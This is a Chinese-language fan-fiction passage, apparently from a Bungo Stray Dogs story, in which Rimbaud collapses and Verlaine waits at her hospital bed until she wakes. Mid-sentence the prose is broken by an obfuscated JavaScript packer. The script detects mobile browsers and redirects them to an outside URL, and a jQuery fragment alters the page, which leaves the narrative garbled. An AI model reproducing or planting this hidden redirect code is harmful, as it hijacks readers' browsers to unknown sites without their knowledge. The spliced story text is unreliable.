“不论如何,对人类心软只会收获伤害。” 魏尔伦的语调忽然变得尖锐, “人类贪婪冷漠、懦弱排外,自私自利、满口谎言。就像津岛治,中也的友情和心软换来的是无情的背叛和利用,还有擂钵街那群毫不犹豫就‘卖’了她的所谓同伴,她早就该认清人类的本质,明白只有——” 只有同类是值得信赖的,至于人类,除了兰波以外的所有人类都—— 失忆谍报员拿起下一件衣物的动作停顿一下,又状若无事地继续,声音也保持平静地追问, “只有?” 人造神明清楚自己有点失态了, “……没什么。” 他深吸一口气,不想继续在这个话题停留——兰波现在不记得他非人类的身份,他也并不想让兰波知道,更不想让妹妹和曾经的自己一样,因为非人而遭受歧视、排挤与无孔不入的监管, “你说得对,中也能有这样的品格是好事,我只是希望她能够更懂得保护自己,明白只有家人才值得信赖。” 魏尔伦敷衍地回答道,同时也没了继续温情家务时间的心情,行李箱被异能力全部掀开,所有衣物都像是活过来般自觉分好类, “走吧,他们两个应该也聊完了。” “……” 原本拿在手中的长裙飞起悬挂,腰侧的锁扣在兰波掌心划过一道不轻不重的红痕,她愣了下,握紧手掌,抬眸看去时,魏尔伦先一步走到门边的背影依然高大挺拔,像一棵孤独的白桦。 兰波复又垂眸,站起身来,眩晕感令她不由得扶住墙壁,恍惚间竟有些错觉——她和魏尔伦的距离似乎有一瞬离得很远,远到无论如何都无法触及,于是呼唤的声音也小得宛如隔了千层纱,飘忽着散在空气中, “……保……保罗。” 额头又开始刺痛,眼眶有些酸涩的难受,扶在墙上的手无力地下滑,张开嘴,仅剩空茫的嘶哑气声。 “兰波?” 魏尔伦察觉到不对劲,急忙转身,却只来得及悚然无措地接住坠落的纤瘦身躯, “兰波?兰波!” 他的双手都微微颤抖起来,声音也明显有点大,门外的声音瞬间停顿,片刻后,传来急促的敲门声, “哥哥?” 中原中也紧张又关切地询问, “哥哥?兰波姐姐怎么了?” 魏尔伦强迫自己镇定下来,他挥手开了门,安排妹妹做事, “中也,给管家打电话,叫最近最快的私人医院派救护车过来。” “啊?” “客厅的电话,拨打001找管家,让他叫最快最近的救护车过来!” 说到最后,人造神明的声音已经近乎在低吼,蓝眸中写满中原中也未曾见过的焦躁和冷冽,橘发女孩连忙点头, “好、好的!” 可等到拨通电话,原本已经能简单沟通的法语又磕绊起来,中原中也急得下意识说了日语,对面的管家明显更加疑惑, “小姐?” “——请帮我们联系最近的私人医院,派救护车过来,用最快的速度,钱不是问题。” 津岛治的声音从背后传来,中原中也顿了顿,也恢复冷静,跟着复述一遍,听到管家应声,才挂断电话,回头看过去。 黑发男孩脸上还肿着,是中原中也刚才卯足力气打的一拳,可他仍保持着平静中带点自满的表情,实在有些好笑,令橘发女孩原本想说的道谢也变成憋不住的笑意, “……噗。” “???” 津岛治磨磨牙,压低声音生气, “这时候该谢谢我吧?” “哼,算你弥补一点——一点点点点,我还没原谅你利用我的事情呢。” 中原中也没再看他,径直跑进主卧, “哥哥,兰波姐姐怎么了?” “……应该是旧伤。” 魏尔伦已经把兰波平放在柔软的床上,紧握着纤细冰凉的手,心脏还在扑通扑通狂跳, “是我的错。” “……?” 中原中也没有听明白,但她知道自己这时候该说点什么, “哥哥,医生马上就过来了,你不要着急,而且兰波姐姐的身体这些天已经好很多了,不会有事的。” “……嗯,谢谢。” 听到妹妹的话,人造神明稍稍放松一些,但眼睛仍一眨不眨地盯着那张眉头紧皱、毫无血色的苍白面庞。 他不敢将手握得太紧,只能轻轻摩挲着,又不自觉地向下,摸到兰波手掌靠下处那枚残留的枪伤。 引以为傲的强大力量面对虚弱昏迷的兰波毫无用处,魏尔伦看着深红色的细小疤痕,忽然开始痛恨当初的自己。 现在回忆起来,他自己也不清楚当时为什么要那样倔强——一定要把计划全盘说出,还留给兰波充足的反应时间。如果他在两人抵达港口后,趁着兰波开启潜艇时悄无声息地离开,足够信任他的兰波根本没机会阻拦,他们之间不会有冲突,那场爆炸也不会发生。 ……兰波更不会因此而重伤。 魏尔伦垂着头,像一尊僵硬的雕塑。门被无声地关上,又在雕塑成型的第二十分钟时轻轻推开,护士们推着担架床进来,想要伸出的手却停在半空——重新活过来的雕塑仿佛一头狂躁危险的野兽,毫无感情的蓝眸猛然看过来时,吓得所有人都心头一颤。 “先、先生?” 还是领头的护士先反应过来,她紧张地咽下口水,又舔了舔嘴唇,一时间都忘了惊叹面前的金发青年宛如神明般的美貌,只敢战战兢兢地询问, “请让我们带这位女士上救护车……?” “……” 救护车。 魏尔伦的理智终于彻底回拢,他收回视线,轻柔地抱起兰波,放在担架床上,快要走出门时,才想起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15081560|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声安排妹妹, “中也,不用跟过来,午饭想吃什么直接让管家安排,随时等我电话。” 万一兰波直接恢复记忆…… 他瞥了眼津岛治,切换成日语,冷淡地吩咐, “至于你,津岛君,看好中也,也许我会给你想要的无痛死亡。” “?” 非常有诱惑力的条件——津岛治乖巧地眨眨眼,微笑着应声, “好的。” ———————————————————— 魏尔伦估算错了情况,直到傍晚,兰波都没能醒来。 “我只想知道结果。” 焦躁已经充斥整个胸腔,人造神明没心情听医生分析数据, “告诉我,兰波现在的情况,以及她什么时候能醒过来。” “这个……” 医生硬着头皮解释, “检查结果您已经看过了,兰波女士的脑血管中存在多处外伤撞击形成的细小血栓,还有部分脑组织受损,导致了失忆和部分感官失调问题——当然,现在的恢复状态还不错,否则表现出来的问题会更加严重。” “既然恢复不错,为什么今天又会突然昏厥?” 魏尔伦皱着眉头,医生说的这些情况他很清楚,森鸥外给出过差不多的诊断结果,只是那时候兰波的状态还要更差一些,经过这一个月的疗养,应该更好才对。 “就是因为这样。” 医生很无奈, “原本兰波女士的身体长期营养不良,再加上低血压,脑部供血便长期不足,脑血栓位置也相对固定。但最近身体状态恢复后,脑部供血变得开始充足,再加上有部分血栓自行溶解后变得更小,就会顺着血管移动……” 他叹了口气,有点无能为力, “大脑是人类最精密的器官,如果在别的部位出现血栓移动情况,可能不会造成太大问题,但脑血栓……而且兰波女士的情绪也会对大脑造成影响,这个因素我们没办法去确定,所以现在也无法给您一个肯定的回答。” “……” 魏尔伦攥紧了拳, “那现在,你们,能做什么?” “手术是没办法的,细小且移动的脑部血栓完全无法定位祛除,我们已经在给兰波女士注射辅助血栓溶解的生物制剂,如果情况良好,她应该能够尽快醒来。” 医生抿抿嘴,轻声叮嘱, “您不用太担心,这种情况通常不会有生命危险。” 通常? 魏尔伦冷笑,没再说话。 医生离开了,护士进来换了新的一瓶药,人造神明给妹妹打去电话,简单讲明情况后,又变成了沉默的雕塑,他将手握在输送药液的细窄管道上,用体温和异能将冰凉的液体烘得温热,兰波的手也稍稍温热起来。 夜幕重重地落下,单人病房内的灯闪着刺目的柔和白光,魏尔伦笔直地坐着。 灯关了,日光从身后的玻璃窗外照射进来,魏尔伦依然笔直地坐着。 护士第三次拿着换下的空药瓶离开时,兰波的指尖轻轻颤动了一下。 “……!” 魏尔伦屏住呼吸,看着那双眼睛一点点张开,露出有些迷茫的绿眸,兰波定定地看了会儿洁白的天花板,片刻后,侧过脸,表情平静,嗓音嘶哑, “……保罗·魏尔伦。”